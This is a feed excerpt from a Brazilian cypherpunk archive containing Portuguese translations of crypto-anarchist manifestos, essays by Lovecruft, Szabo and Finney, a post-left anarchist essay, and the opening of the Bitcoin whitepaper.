&lt;p>Os reguladores estão vindo atrás de nós. Eles nos veem como crianças com botas grandes demais para os pés. Precisamos ser colocados de volta em nosso lugar. Eles fazem isso de fora e de dentro. Aqueles anarquistas loucos entre nós são calados, recebem olhares bizarros, são rejeitados e repreendidos por agitar as coisas. Quem são essas pessoas e de onde elas vêm? Certamente, em suas gaiolas corporativas limpas, eles nunca teriam arriscado apostar no Bitcoin em 2010. No entanto, aqui estão eles se apegando ao sucesso, garantindo que as coisas sejam feitas da maneira certa.&lt;/p>
&lt;p>A narrativa agora é sobre preocupações triviais do primeiro mundo: GameFi, ArtFi, SocialMediaFi - o entretenimento e negócios com celebridades.&lt;/p>
&lt;p>Mas basta olhar para o que o poder e os monopólios de capital procuram impedir para entender o que é a chave para libertar a nação democrática.&lt;/p>
&lt;p>Eles vão regular a criptografia, que permite a qualquer pessoa enviar criptografia para qualquer pessoa em qualquer lugar do planeta. Ou para estabelecer organizações privadas que são autogeridas. Isso destrói todos os modelos proprietários de monopólios de poder e capital.&lt;/p>
&lt;p>A criptografia será dividida em duas. O RegFi ficará inutilizável e aparafusado. Vai ficar desdentado. O outro lado será o DarkFi underground. Vai ter mordida.&lt;/p>
&lt;p>DarkFi não é um projeto ou uma empresa. Somos uma comunidade e um movimento.&lt;/p>
&lt;p>A contra-economia nos dá ferramentas para arquitetar sistemas que capacitam comunidades livres.&lt;/p>
&lt;p>A criptoanarquia é a tática de usar a criptografia para a contra-economia.&lt;/p>
&lt;p>As tecnologias de privacidade estão emergindo mais fortes do que nunca e são completamente imparáveis.&lt;/p>
&lt;p>Combine tudo isso e obteremos: DarkFi.&lt;/p>
&lt;p>A escuridão está aqui e vai varrer nosso mundo digital. Não pode ser interrompido, pois os benefícios que traz são muito grandes. Todas as potencialidades latentes da humanidade que estão sendo empurradas para baixo terão permissão para subir ao topo. Este é um grande poder que deve ser usado com respeito.&lt;/p>
&lt;p>Lembre-se de que cada revolução tecnológica na história teve opositores que queriam colocar o gênio de volta na caixa de Pandora. Mas eles foram arrastados chutando e gritando para o futuro contra sua vontade.&lt;/p>
&lt;p>Não há julgamentos ou decretos sendo feitos aqui. Apenas declarações da realidade.&lt;/p>
&lt;p>É pegar ou largar, é isso que vai acontecer. Bem-vindo ao futuro agorista.&lt;/p>
&lt;p>&lt;strong>Que haja escuridão&lt;/strong>.&lt;/p>
&lt;p>Fonte: &lt;a href="https://dark.fi/manifesto.html" target="_blank" rel="noopener noreferrer">DarkFi&amp;rsquo;s Manifesto - The Coming Storm&lt;/a>
&lt;/p></content:encoded></item><item><title>Primitivistas caiam fora!</title><link>https://cypherpunks.com.br/documentos/primitivistas-caiam-fora/</link><pubDate>Mon, 29 Aug 2011 00:00:00 +0000</pubDate><guid>https://cypherpunks.com.br/documentos/primitivistas-caiam-fora/</guid><description>O acoplamento de anarquismo e primitivismo no discurso radical moderno, precisa ser totalmente desconstruído... Mas, eu não me importo com vocês, primitivistas. Vocês não vêem que meu jeito ainda permite que vocês desistam e vão morar na floresta? Não são os cientistas, os inimigos por aqui. É o maldito Estado. Então, dêem o fora, vocês, …</description><content:encoded>&lt;pre tabindex="0">&lt;code>Traduzido por: Vinicius Yaunner
Revisado por: Cypherpunks Brasil
&lt;/code>&lt;/pre>&lt;p>&lt;a href="https://cypherpunks.com.br/about/#contribuidores">&lt;code>ver lista de contribuidores&lt;/code>&lt;/a>
&lt;/p>
&lt;h2 id="isis-agora-lovecruft">Isis Agora Lovecruft&lt;/h2>
&lt;p>&lt;/p>
&lt;p>O acoplamento de anarquismo e primitivismo no discurso radical moderno, precisa ser totalmente desconstruído. Em primeiro lugar, gostaria de apontar as falácias lógicas óbvias e inerentes a esta coalescência: Por um lado, um conjunto de movimentos sociais cujo único ponto de vista ideológico unificador é uma oposição às dinâmicas de poder desiguais. Por outro lado, um movimento cultural que defende abertamente o essencialismo biológico. Esse, se traduz em &lt;strong>&lt;a href="https://tearingdownthatfence.tumblr.com/post/10452912254/lierre-keith-a-case-study-in-anti-trans-hatred" target="_blank" rel="noopener noreferrer">não substanciação de identidades de gênero fluidas&lt;/a>
&lt;/strong> e outras destruições da liberdade pessoal, além da abolição da criatividade humana e da investigação por meio da &amp;ldquo;obrigação moral&amp;rdquo; dos humanos, de &amp;ldquo;preencher seu nicho&amp;rdquo; dentro de uma biosfera. Isso nem mesmo está mencionando outra lógica problemática dentro do discurso primitivista, que eu não irei tocar aqui, mas, simplesmente direi: “Ei, caras, já ouviram falar dessa coisa chamada &lt;strong>&lt;a href="https://en.wikipedia.org/wiki/Naturalistic_fallacy" target="_blank" rel="noopener noreferrer">falácia naturalista&lt;/a>
&lt;/strong>? Está intimamente ligada a outras formas de argumentos problemáticos e ilógicos, como, &lt;strong>&lt;a href="https://en.wikipedia.org/wiki/Appeal_to_nature#Rational_argument" target="_blank" rel="noopener noreferrer">apelar à natureza&lt;/a>
&lt;/strong> e &lt;strong>&lt;a href="https://en.wikipedia.org/wiki/Appeal_to_tradition" target="_blank" rel="noopener noreferrer">apelar à tradição&lt;/a>
&lt;/strong>. Espere, vocês estavam se chamando de anarquistas? Anarquistas fazendo apelos à tradição&amp;hellip; Sim&amp;hellip; OK&amp;hellip;&amp;quot; Cai fora do meu movimento!&lt;/p>
&lt;p>Estou preocupado com a liberdade. Não antropocentricamente, mas, liberdade em um sentido mais amplo. De uma maximização da agência informada, que inclui levar em contexto o ambiente que todos nós compartilhamos. Isso mesmo! Eu disse isso! Eu me importo com as árvores, preocupo-me com os animais humanos e não humanos, eu me importo com os ciborgues, os robôs e as IAs. Para citar &amp;ldquo;&lt;strong>&lt;a href="https://queersingularity.wordpress.com/2011/06/26/transhumanism-and-the-radical-left-anarchist-skillshare-2011/" target="_blank" rel="noopener noreferrer">Queering the Singularity&lt;/a>
&lt;/strong>&amp;rdquo;: “Fora da hierarquia, existe uma diversidade de arranjos de vida legítimos. Precisamos de uma coalizão radical, capaz de ação unida contra os opressores, e de uma visão de futuro que inclua, tanto alcançar as estrelas, quanto retornar à floresta. ”&lt;/p>
&lt;p>Mas, eu não me importo com vocês, primitivistas. Vocês não vêem que meu jeito ainda permite que vocês desistam e vão morar na floresta? Não são os cientistas, os inimigos por aqui. É o maldito Estado. Então, dêem o fora, vocês, primitivistas! &lt;strong>&lt;a href="https://guerrillanews.wordpress.com/2011/08/17/anti-nanotech-bomb-claim-by-individualists-tending-towards-the-wild-mexico/" target="_blank" rel="noopener noreferrer">vocês que saem por aí bombardeando centros de pesquisa em nanotecnologia&lt;/a>
&lt;/strong>. Cegos demais por seu dogma, para entender, que, a nanofabricação, forneceria métodos de produção de materiais, ao mesmo tempo em que reduziria drasticamente a mineração e a extração madeireira. Se você pode construir átomos e moléculas a partir das partículas, por que extrair carvão, quando você pode literalmente cultivá-lo em um laboratório? Não, isso não é ficção científica. Bem-vindo ao século XXI! E, por que você persiste na subserviência às limitações “naturais”? Precisamos ver que somos capazes, em vez de confiar na análise de frequência de eventos. Sim, os humanos nascem, na maioria das vezes, do sexo masculino ou feminino. Sim, os governos cobrem cada pedaço de terra seca. Mas nada disso precisa ser o caso.&lt;/p>
&lt;p>Além disso, seu líder, &lt;strong>&lt;a href="vancouver.mediacoop.ca/audio/deep-green-resistance-death-threats-and-police/8014">Sim, ele está cooperando com o FBI&lt;/a>
&lt;/strong>&amp;hellip; Vocês estavam dizendo alguma coisa? Espere&amp;hellip; Eu não consigo te ouvir&amp;hellip; Tudo o que estou ouvindo é: &amp;ldquo;Somos um bando de escória fascista, heteronormativa e ilógica.&amp;rdquo;&lt;/p>
&lt;p>Vou encurtar isso, porque Donna Haraway postulou elegantemente (sem as partes socialistas) minha posição, vinte anos atrás, no &lt;strong>&lt;a href="https://theanarchistlibrary.org/library/donna-haraway-a-cyborg-manifesto" target="_blank" rel="noopener noreferrer">&amp;ldquo;Um Manifesto Cyborg&amp;rdquo;&lt;/a>
&lt;/strong>. Leia-o. É bom! É muito, muito bom!&lt;/p>
&lt;p>Sério&amp;hellip; leia: &lt;strong>&lt;a href="https://theanarchistlibrary.org/library/donna-haraway-a-cyborg-manifesto" target="_blank" rel="noopener noreferrer">&amp;ldquo;Um Manifesto Cyborg&amp;rdquo;&lt;/a>
&lt;/strong>.&lt;/p>
&lt;hr>
&lt;p>Fonte: &lt;a href="https://blog.patternsinthevoid.net/primitivists-gtfo.html" target="_blank" rel="noopener noreferrer">Primitivists: GTFO! - Isis Agora Lovecruft&lt;/a>
&lt;/p></content:encoded></item><item><title>Bitcoin, por que você demorou tanto?</title><link>https://cypherpunks.com.br/documentos/bitcoin-porque-demoraste-tanto/</link><pubDate>Sat, 28 May 2011 00:00:00 +0000</pubDate><guid>https://cypherpunks.com.br/documentos/bitcoin-porque-demoraste-tanto/</guid><description>Os motivos que nos fizeam aguardar tanto pelo nascimento do bitcoin</description><content:encoded>&lt;pre tabindex="0">&lt;code>Traduzido por: Matheus Bach
&lt;/code>&lt;/pre>&lt;h1 id="bitcoin-por-que-você-demorou-tanto">Bitcoin, por que você demorou tanto?&lt;/h1>
&lt;p>&lt;em>Assim pergunta &lt;a href="https://www.gwern.net/Bitcoin-is-Worse-is-Better" target="_blank" rel="noopener noreferrer">Gwern&lt;/a>
em uma exibição espetacular de retrospectiva.&lt;/em>&lt;/p>
&lt;p>A resposta curta sobre por que demorou tanto tempo é que as ideias do bit gold/Bitcoin não estavam nem remotamente perto de serem óbvias como Gwern sugere. Elas exigiram uma quantidade muito substancial de pensamento não convencional, não apenas sobre a lista de tecnologias de segurança de Gwern (e temo que a lista tenha esquecido uma das maiores, a replicação ponto-a-ponto com resiliencia bizantina), mas sobre como e porquê escolher e reunir esses protocolos. Bitcoin não é uma lista de recursos criptográficos, é um sistema muito complexo de matemática e protocolos interativos em busca do que era um objetivo muito impopular.&lt;/p>
&lt;p>Embora a tecnologia de segurança esteja longe de ser trivial, o &amp;ldquo;porquê&amp;rdquo; foi de longe o maior obstáculo - quase todos que ouviram a ideia geral acharam que era uma ideia muito ruim. Eu, Wei Dai e Hal Finney fomos as únicas pessoas que conheço que gostaram da ideia (ou no caso de Dai sua ideia relacionada) o suficiente para persegui-la de forma significativa até Nakamoto (assumindo que Nakamoto não é realmente Finney ou Dai). Apenas Finney (&lt;a href="../rpow">RPOW&lt;/a>
) e Nakamoto estavam motivados o suficiente para realmente implementar tal esquema.&lt;/p>
&lt;p>O &amp;ldquo;porquê&amp;rdquo; exige uma compreensão precisa da natureza de dois tópicos difíceis e quase sempre mal compreendidos, sendo eles &lt;a href="https://nakamotoinstitute.org/trusted-third-parties/" target="_blank" rel="noopener noreferrer">a confiança&lt;/a>
e a natureza do dinheiro. A sobreposição entre especialistas criptográficos e libertários que podem simpatizar com essa ideia de &amp;ldquo;&lt;a href="https://wikipedia.org/wiki/The_Gold-Bug" target="_blank" rel="noopener noreferrer">gold bug&lt;/a>
&amp;rdquo; já é bastante pequena, já que a maioria dos especialistas criptográficos ganha a vida na academia e compartilha seus preconceitos políticos. Mesmo em meio a esse cruzamento incomum, poucas pessoas acharam que era uma boa ideia. Mesmo os gold bugs não se importavam com isso porque já temos ouro real em vez de meros bits e podemos pagar online simplesmente emitindo certificados digitais baseados em ouro real armazenado em cofres reais, como o antigo e popular &lt;a href="https://wikipedia.org/wiki/E-gold" target="_blank" rel="noopener noreferrer">e-gold&lt;/a>
. Além da infinidade dessas reações e críticas equivocadas, permanecem muitas questões em aberto e pontos discutíveis sobre esses tipos de tecnologias e moedas, muitas das quais só podem ser resolvidas realmente colocando-as em campo e vendo como elas funcionam na prática, tanto na economia e termos de segurança.&lt;/p>
&lt;p>Aqui estão algumas razões mais específicas pelas quais as ideias por trás do Bitcoin estavam muito longe de serem óbvias:&lt;/p>
&lt;ol>
&lt;li>
&lt;p>apenas algumas pessoas tinham lido sobre as idéias do &lt;a href="../bitgold">bit gold&lt;/a>
, que embora eu as tenha inventado em 1998 (ao mesmo tempo e na mesma lista de discussão privada onde Dai estava apresentando &lt;a href="../bmoney">b-money&lt;/a>
&amp;ndash; é uma longo história) não foram descritos em público até &lt;a href="https://classic-web.archive.org/web/20060329122942/http://unenumerated.blogspot.com/2005/12/bit-gold.html" target="_blank" rel="noopener noreferrer">2005&lt;/a>
, embora várias partes dele eu tenha descrito anteriormente, por exemplo, a parte crucial da cadeia de transações assinadas com replicação bizantina, que generalizei no que chamo de &lt;a href="../titulos-seguros-propriedade">títulos de propriedade seguros&lt;/a>
.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Quase ninguém realmente entende de dinheiro. &amp;ldquo;O dinheiro simplesmente não funciona assim&amp;rdquo;, me disseram com fervor e frequência. &amp;ldquo;O ouro não poderia funcionar como dinheiro se não estivesse mais brilhante ou útil para eletrônicos ou qualquer outra coisa além de dinheiro&amp;rdquo;, eles me disseram. (Será que os serviços de seguro também têm que começar úteis para outra coisa, talvez como usinas de energia?). Esse argumento comum vem ironicamente de libertários que interpretaram erroneamente o relato de Menger sobre a origem do dinheiro como sendo a única maneira de ele surgir (em vez de um relato de como ele poderia surgir) e, da mesma forma, aplicam erroneamente o teorema da regressão de Mises. Mesmo que eu tenha refutado esses argumentos em meu estudo sobre &lt;a href="../shelling-out-origens-dinheiro">as origens do dinheiro&lt;/a>
, que humildemente sugiro que deveria ser leitura obrigatória para qualquer um debatendo a economia do Bitcoin.&lt;/p>
&lt;/li>
&lt;/ol>
&lt;p>Não há nada como o esquema de incentivo ao mercado de Nakamoto para mudar a opinião sobre essas questões. :-) Graças a RAMs cheias de moedas com &amp;ldquo;deflação programada&amp;rdquo;, agora não faltam pessoas dispostas a argumentar a seu favor.&lt;/p>
&lt;ol start="3">
&lt;li>
&lt;p>Nakamoto melhorou uma falha de segurança significativa que meu projeto tinha, que foi exigir que uma prova de trabalho fosse um nó no sistema ponto a ponto resiliente bizantino para diminuir a ameaça de uma parte não confiável controlando a maioria dos nós e, assim, corrompendo vários recursos de segurança importantes. Ainda outra característica óbvia em retrospectiva, bastante não óbvia em previsão.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Em vez do meu &lt;a href="https://unenumerated.blogspot.com/2008/04/bit-gold-markets.html" target="_blank" rel="noopener noreferrer">mercado automatizado&lt;/a>
para explicar o fato de que a dificuldade dos quebra-cabeças muitas vezes pode mudar radicalmente com base em melhorias de hardware e avanços criptográficos (ou seja, descobrindo algoritmos que podem resolver provas de trabalho mais rapidamente) e a imprevisibilidade da demanda, Nakamoto projetou um algoritmo aprovado pelos bizantinos ajustando a dificuldade dos quebra-cabeças. Não consigo decidir se esse aspecto do Bitcoin é mais recurso ou mais bug, mas o torna mais simples.&lt;/p>
&lt;/li>
&lt;/ol>
&lt;hr>
&lt;p>Fonte: &lt;a href="https://unenumerated.blogspot.com/2011/05/bitcoin-what-took-ye-so-long.html" target="_blank" rel="noopener noreferrer">Unenumerated Blog&lt;/a>
&lt;/p></content:encoded></item><item><title>O que fazer em situações de colapso no abastecimento de ÁGUA</title><link>https://cypherpunks.com.br/documentos/cartilha-sobrevivencia-em-colapso-de-abastecimento-de-agua/</link><pubDate>Tue, 01 Mar 2011 00:00:00 +0000</pubDate><guid>https://cypherpunks.com.br/documentos/cartilha-sobrevivencia-em-colapso-de-abastecimento-de-agua/</guid><description>Tomara que você esteja lendo este folheto antes de acontecer uma situação extrema de falta absoluta de água. Aliás, tomara que isso nunca aconteça, mas é preciso se prevenir. Veja o que fazer se a torneira secar mesmo, a água da caixa também e não houver certeza de quando o abastecimento retornará.</description><content:encoded>&lt;pre tabindex="0">&lt;code>Traduzido por: Vinicius Yaunner
Revisado por: Cypherpunks Brasil
&lt;/code>&lt;/pre>&lt;p>&lt;a href="https://cypherpunks.com.br/about/#contribuidores">&lt;code>ver lista de contribuidores&lt;/code>&lt;/a>
&lt;/p>
&lt;h1 id="o-que-fazer-em-situações-de-colapso-no-abastecimento-de-água">O que fazer em situações de colapso no abastecimento de ÁGUA&lt;/h1>
&lt;h2 id="aliança-pela-água">Aliança Pela Água&lt;/h2>
&lt;p>&lt;/p>
&lt;p>Tomara que você esteja lendo este folheto antes de acontecer uma situação extrema de falta absoluta de água. Aliás, tomara que isso nunca aconteça, mas é preciso se prevenir. Veja o que fazer se a torneira secar mesmo, a água da caixa também e não houver certeza de quando o abastecimento retornará.&lt;/p>
&lt;p>&lt;a href="http://www.cbhdoce.org.br/wp-content/uploads/2015/11/Cartilha_ColapsoAbastecimento.pdf" target="_blank" rel="noopener noreferrer">O que fazer em situações de colapso no abastecimento de ÁGUA - PDF&lt;/a>
&lt;/p>
&lt;hr>
&lt;p>Fonte: &lt;a href="http://www.cbhdoce.org.br" target="_blank" rel="noopener noreferrer">O que fazer em situações de colapso no abastecimento de ÁGUA&lt;/a>
&lt;/p></content:encoded></item><item><title>Coletânea de textos do Hal Finney</title><link>https://cypherpunks.com.br/documentos/coletanea-de-textos-do-hal-finney/</link><pubDate>Sun, 30 May 2010 00:00:00 +0000</pubDate><guid>https://cypherpunks.com.br/documentos/coletanea-de-textos-do-hal-finney/</guid><description>Coletânea de textos do Hal Finney.</description><content:encoded>&lt;p>&lt;a href="https://cypherpunks.com.br/about/#contribuidores">&lt;code>ver lista de contribuidores&lt;/code>&lt;/a>
&lt;/p>
&lt;h2 id="hal-finney">Hal Finney&lt;/h2>
&lt;h3 id="coletânea-de-textos">Coletânea de textos&lt;/h3>
&lt;p>&lt;strong>Recompensa dos primeiros especuladores - 30 de Maio de 2011&lt;/strong> &lt;a href="https://bitcointalk.org/index.php?topic=10666.msg152988#msg152988" target="_blank" rel="noopener noreferrer">Texto originalmente postado no Bitcoin Talk&lt;/a>
Qualquer substituição bem-sucedida da cadeia de blocos do Bitcoin comprometerá para sempre a credibilidade de qualquer sucessor. Como um investidor sabe que isso não acontecerá de novo?&lt;!-- raw HTML omitted -->&lt;/p>
&lt;p>A reinicialização agora pode beneficiar alguns milhares de adotantes iniciais. O que acontece quando centenas de milhões usam o Bitcoin 2? Eles serão tão ciumentos e invejosos quanto você e os outros. Dado o precedente que você deseja definir, como você vai argumentar contra outra reinicialização?&lt;/p>
&lt;hr>
&lt;p>Fonte: &lt;a href="https://bitcointalk.org/index.php?topic=10666.msg152988#msg152988" target="_blank" rel="noopener noreferrer">https://bitcointalk.org/index.php?topic=10666.msg152988&lt;/a>
&lt;!-- raw HTML omitted -->&lt;/p></content:encoded></item><item><title>A União nos torna fracos</title><link>https://cypherpunks.com.br/documentos/a-uniao-nos-torna-fracos/</link><pubDate>Thu, 12 Mar 2009 00:00:00 +0000</pubDate><guid>https://cypherpunks.com.br/documentos/a-uniao-nos-torna-fracos/</guid><description>Talvez isso fosse pragmático há um século, mas hoje a massa importa muito menos. O estado, o sistema de classes, etc, são sustentados menos pela aplicação de força social bruta e mais por maquinações complicadas. Os ecossistemas de relações de poder em que estamos inseridos podem suportar grande pressão, podem lidar com a massa. A chave …</description><content:encoded>&lt;pre tabindex="0">&lt;code>Tradução por: Cypherpunks Brasil
Formatação e revisão: Cerjinho
&lt;/code>&lt;/pre>&lt;p>&lt;a href="https://cypherpunks.com.br/about/#contribuidores">&lt;code>ver lista de contribuidores&lt;/code>&lt;/a>
&lt;/p>
&lt;h2 id="a-união-nos-torna-fracos">A União nos torna fracos&lt;/h2>
&lt;p>&lt;em>Eu escrevi uma resposta bastante longa ao &lt;a href="https://anarchism.pageabode.com/blog/a-few-comments-on-post-left-anarchy/" target="_blank" rel="noopener noreferrer">recente artigo&lt;/a>
de Iain McKay sobre pós-esquerdismo e me pediram para republicá-la em outro lugar além do Infoshop.&lt;/em>&lt;/p>
&lt;p>Em primeiro lugar, vamos ignorar as besteiras &lt;a href="https://pt.wikipedia.org/wiki/Non_sequitur#:~:text=Non%20sequitur%20%C3%A9%20uma%20express%C3%A3o,conclus%C3%A3o%20n%C3%A3o%20decorre%20das%20premissas." target="_blank" rel="noopener noreferrer">non sequitur&lt;/a>
anti-ciência e anti-tecnologia, que não têm absolutamente nada a ver com o pós-esquerdismo. Afinal, embora existam &lt;em>primmies&lt;/em> e &lt;em>anti-civs&lt;/em> dentro da pós-esquerda, também há uma infinidade de transumanistas, cyberpunks e radicais amantes da internet em geral, que veem a invenção e a exploração como atos inerentemente libertadores.&lt;/p>
&lt;p>Os anarquistas pós-esquerda são funcionalmente distintos dos anarquistas de esquerda em nosso desgosto e suspeita quanto à organização. Ou seja, nosso foco está na crítica à insistência pela organização como um fim em si mesma. Sim, reconhecemos que, apesar das profundas mudanças no contexto social e econômico desde os dias de outrora, ainda há trabalhadores e patrões e que vantagens muito reais podem ser arrancadas do sistema através da ação coletiva. Entretanto, consideramos que a obsessão por massa e momento como fins primários é limitante e, em última análise, autodestrutiva. Vemos anarquistas de esquerda, e a esquerda como um todo, instintivamente apegados à ideia de números como solução. Talvez isso seja principalmente uma relíquia daqueles tempos antigos em que qualquer adversário social poderia ser esmagado simplesmente jogando corpos suficientes nele, ou talvez seja uma perversão forjada por anos de doutrinação em ideais democráticos. A política moderna vê a construção de massa como a &lt;em>definição&lt;/em> de sucesso – e certamente não veremos nada perto de verdadeira anarquia até que cada ser humano perceba que as relações de poder são sempre malignas – mas fazer as pessoas marcharem sob uma bandeira não é o mesmo que levá-las a uma apreciação mais profunda da natureza do poder. (Da mesma forma, as discussões sobre as relações de classe em cerca de 1917 não estabelecerão as bases para as melhores relações interpessoais que devem vir antes de qualquer projeto maior.) E ainda assim sentimos que os anarquistas convencionais de esquerda frequentemente concentram-se em colocar pessoas dentro da organização (bem como na construção da solidez da referida organização e sua marca) em detrimento desses fundamentos.&lt;/p>
&lt;p>Talvez isso fosse pragmático há um século, mas hoje a massa importa muito menos. O estado, o sistema de classes, etc, são sustentados menos pela aplicação de força social bruta e mais por maquinações complicadas. Os ecossistemas de relações de poder em que estamos inseridos podem suportar grande pressão, podem lidar com a massa. A chave para vencer a guerra hoje não é a massa – não queremos ganhar a Revolução como se fosse uma eleição com outro nome – a chave é a exploração proativa e inteligente dos pontos fracos. Matar o filho da puta envolverá muito menos porrada e muito mais &lt;em>hacking.&lt;/em> Não venceremos como um exército de soldados, mas como uma insurreição de generais.&lt;/p>
&lt;p>Daí nosso aborrecimento com tal inclinação de se construir um senso de estrutura e massa primeiro para aplicá-lo – ou descobrir como aplicá-lo – depois. Sempre vimos o mundo que estamos construindo como um mundo &lt;a href="https://pt.wikipedia.org/wiki/Ad_hoc" target="_blank" rel="noopener noreferrer">ad hoc&lt;/a>
de projetos e discussões, não de organizações e federações. Nossa lição desse sonho é a percepção de que, se um projeto precisa se concentrar na estrutura e nas linhas de inclusão e exclusão para motivar a ação, então, nas palavras de um gatinho fofo, &lt;em>“você está fazendo errado&lt;/em>”. A União não nos fez fortes, a União nos fez fracos. Desperdiçou nosso tempo, suprimiu nossa inovação e nos acorrentou ao pensamento de grupo.&lt;/p>
&lt;p>Isso não quer dizer que somos completamente diferentes dos anarquistas de esquerda. Certamente, em alguns momentos, eles também expressaram uma leve percepção dos problemas com isso, assim como participamos de grandes federações e perdemos horas de nossas vidas em salas debatendo documentos de processos. Mas mesmo que seja apenas uma questão de grau, na prática essa diferença de opinião/desejo/estratégia ainda é uma distinção importante.&lt;/p>
&lt;p>E, se nos for permitido fazer essa distinção, vale a pena notar que nossa perspectiva está em desacordo com a natureza histórica predominante da esquerda. Ou, no mínimo, da esquerda fora do anarquismo. Então, por que não definir a esquerda em termos de adoração à massa e à estrutura e nos posicionarmos fora disso?&lt;/p>
&lt;p>&lt;em>&amp;ldquo;Não seria o clima político americano, que demoniza o &amp;lsquo;socialismo&amp;rsquo; (em todas as suas formas, geralmente equiparando-o ao stalinismo), um clima ao qual eles estejam se ajustando?”&lt;/em>&lt;/p>
&lt;p>&lt;strong>E por que não deveríamos?!&lt;/strong>&lt;/p>
&lt;p>Deixando de lado o presunçoso chauvinismo britânico de Iain nesta citação, vale a pena se perguntar por que diabos alguém deveria querer continuar lutando uma guerra definicional sobre “A Esquerda”. A polaridade esquerda-direita na política mudou dramaticamente ao longo da história e está fundamentada em uma obscuridade quase sem sentido. Havia gente do livre mercado radical de comportamento pior do que o pior ancap hoje que se sentava à esquerda da cadeira do presidente. Pior ainda, a distinção revolucionária entre “esquerda e direita” era, na mente popular, considerada uma distinção entre ação e teoria. Certamente nenhum de nós quer se acorrentar a uma dessas coisas em detrimento da outra.&lt;/p>
&lt;p>Sim, nos Estados Unidos “A Esquerda” é amplamente associada ao socialismo autoritário e ao paternalismo&amp;hellip; assim como no resto do mundo. Mesmo que os efeitos devastadores da influência da União Soviética possam ser superados na mente do público, essa não é uma batalha que a maioria dos anarquistas ao redor do mundo está travando. Em grande parte da América Latina e da Europa Oriental, os anarquistas abandonaram completamente a autoidentificação como esquerdistas. Europa Ocidental é mais complicado, mas há muitos anarco-sindicalistas que se recusam a se chamar de esquerda. Números semelhantes, embora não inteiramente sobrepostos, de pessoas abandonaram o termo &amp;ldquo;socialismo&amp;rdquo;. De fato, em escala global, as Ilhas Britânicas parecem ser as únicas a fazer grande alarde sobre isso.&lt;/p>
&lt;p>Sim, há uma história importante a ser considerada. Pessoas que se opuseram às mesmas coisas que nos opomos, mas trabalharam na esquerda mesmo assim, porque era o único caminho possível naquela época. Mas as coisas mudaram e o exemplo do restante da esquerda e do socialismo, muito menos sua influência, tornaram-se blocos de concreto em nossos pés. Brigamos pela definição da palavra “anarquia” porque somos forçados a isso. Porque an-arquia possui uma definição etimológica clara que nunca perderá, e temos uma avaliação drasticamente diferente de “sem governo”. Vamos ter que morrer naquela colina, não importa o quão estrategicamente inoportuno. Mas “social - ismo”, muito menos “esquerda”, são palavras fluidas e totalmente arbitrárias. Eles são definidos pelo que estão associados. E essa é uma companhia terrível.&lt;/p>
&lt;hr>
&lt;p>Fonte: &lt;a href="http://humaniterations.net/2009/04/13/the-union-makes-us-weak/" target="_blank" rel="noopener noreferrer">http://humaniterations.net/2009/04/13/the-union-makes-us-weak/&lt;/a>
&lt;/p></content:encoded></item><item><title>Bitcoin: Um sistema de dinheiro eletrônico peer-to-peer</title><link>https://cypherpunks.com.br/documentos/bitcoin/</link><pubDate>Fri, 31 Oct 2008 00:00:00 +0000</pubDate><guid>https://cypherpunks.com.br/documentos/bitcoin/</guid><description>Bitcoin é uma criptomoeda descentralizada, sendo um dinheiro eletrônico para transações ponto a ponto.</description><content:encoded>&lt;pre tabindex="0">&lt;code>Traduzido por: Steffan Diorgy
Revisado por: Cypherpunks Brasil
&lt;/code>&lt;/pre>&lt;p>&lt;a href="https://cypherpunks.com.br/about/#contribuidores">&lt;code>ver lista de contribuidores&lt;/code>&lt;/a>
&lt;/p>
&lt;h2 id="satoshi-nakamoto">Satoshi Nakamoto&lt;/h2>
&lt;p>31 de outubro de 2008&lt;/p>
&lt;hr>
&lt;h2 id="abstract">Abstract&lt;/h2>
&lt;p>Uma versão puramente peer-to-peer do dinheiro eletrônico permitiria que pagamentos on-line fossem enviados diretamente de uma parte para outra sem passar por uma instituição financeira. Assinaturas digitais fornecem parte da solução, mas os principais benefícios são perdidos se um terceiro confiável ainda for necessário para evitar o gasto duplo. Propomos uma solução para o problema do gasto duplo usando uma rede peer-to-peer. A rede registra as transações de data e hora, transformando-as em uma cadeia contínua de prova de trabalho baseada em hash, formando um registro que não pode ser alterado sem refazer a prova de trabalho. A cadeia mais longa não serve apenas como prova da sequência de eventos testemunhada, mas prova de que ela veio do maior conjunto de poder da CPU. Enquanto a maioria da energia da CPU é controlada por nós que não estão cooperando para atacar a rede, eles Vai gerar os atacantes de cadeia e de saída mais longos. A rede em si requer estrutura mínima. As mensagens são transmitidas com base no melhor esforço, e os nós podem sair e se juntar à rede à vontade, aceitando a mais longa cadeia de prova de trabalho como prova do que aconteceu enquanto eles estavam fora.&lt;/p>
&lt;h2 id="1-introdução">1. Introdução&lt;/h2>
&lt;p>O comércio na Internet passou a depender quase exclusivamente de instituições financeiras que servem como terceiros confiáveis ​​para processar pagamentos eletrônicos. Enquanto o sistema funciona bem o suficiente para a maioria das transações, ele ainda sofre com as fraquezas inerentes do modelo baseado em confiança. Transações completamente não reversíveis não são realmente possíveis, uma vez que as instituições financeiras não podem evitar a mediação de disputas. O custo da mediação aumenta os custos de transação, limitando o tamanho mínimo prático da transação e eliminando a possibilidade de pequenas transações casuais, e há um custo mais amplo na perda da capacidade de efetuar pagamentos não reversíveis para serviços não reversíveis. Com a possibilidade de reversão, a necessidade de confiança se espalha. Os comerciantes devem ter cuidado com seus clientes, pedindo mais informações do que precisariam. Uma certa porcentagem de fraude é aceita como inevitável. Esses custos e incertezas de pagamento podem ser evitados pessoalmente usando moeda física, mas não existe nenhum mecanismo para efetuar pagamentos em um canal de comunicação sem uma parte confiável.&lt;/p>
&lt;p>O que é necessário é um sistema de pagamento eletrônico baseado em prova criptográfica em vez de confiança, permitindo que duas partes interessadas negociem diretamente entre si sem a necessidade de um terceiro confiável. As transações que são computacionalmente impraticáveis ​​de reverter protegeriam os vendedores de fraude, e mecanismos de depósito de rotina poderiam ser facilmente implementados para proteger os compradores. Neste artigo, propomos uma solução para o problema do gasto duplo usando um servidor de timestamp distribuído peer-to-peer para gerar prova computacional da ordem cronológica das transações. O sistema é seguro desde que os nós honestos controlem coletivamente mais energia da CPU do que qualquer grupo colaborador de nós atacantes.&lt;/p>
&lt;h2 id="2-transações">2. Transações&lt;/h2>
&lt;p>Nós definimos uma moeda eletrônica como uma cadeia de assinaturas digitais. Cada proprietário transfere a moeda para a próxima assinando digitalmente um hash da transação anterior e a chave pública do próximo proprietário e adicionando-os ao final da moeda. Um beneficiário pode verificar as assinaturas para verificar a cadeia de propriedade.&lt;/p>
&lt;p>&lt;img class="img-fluid" alt="" src="https://nakamotoinstitute.org/static/img/bitcoin/transactions.svg" loading="lazy"
/>
&lt;/p>
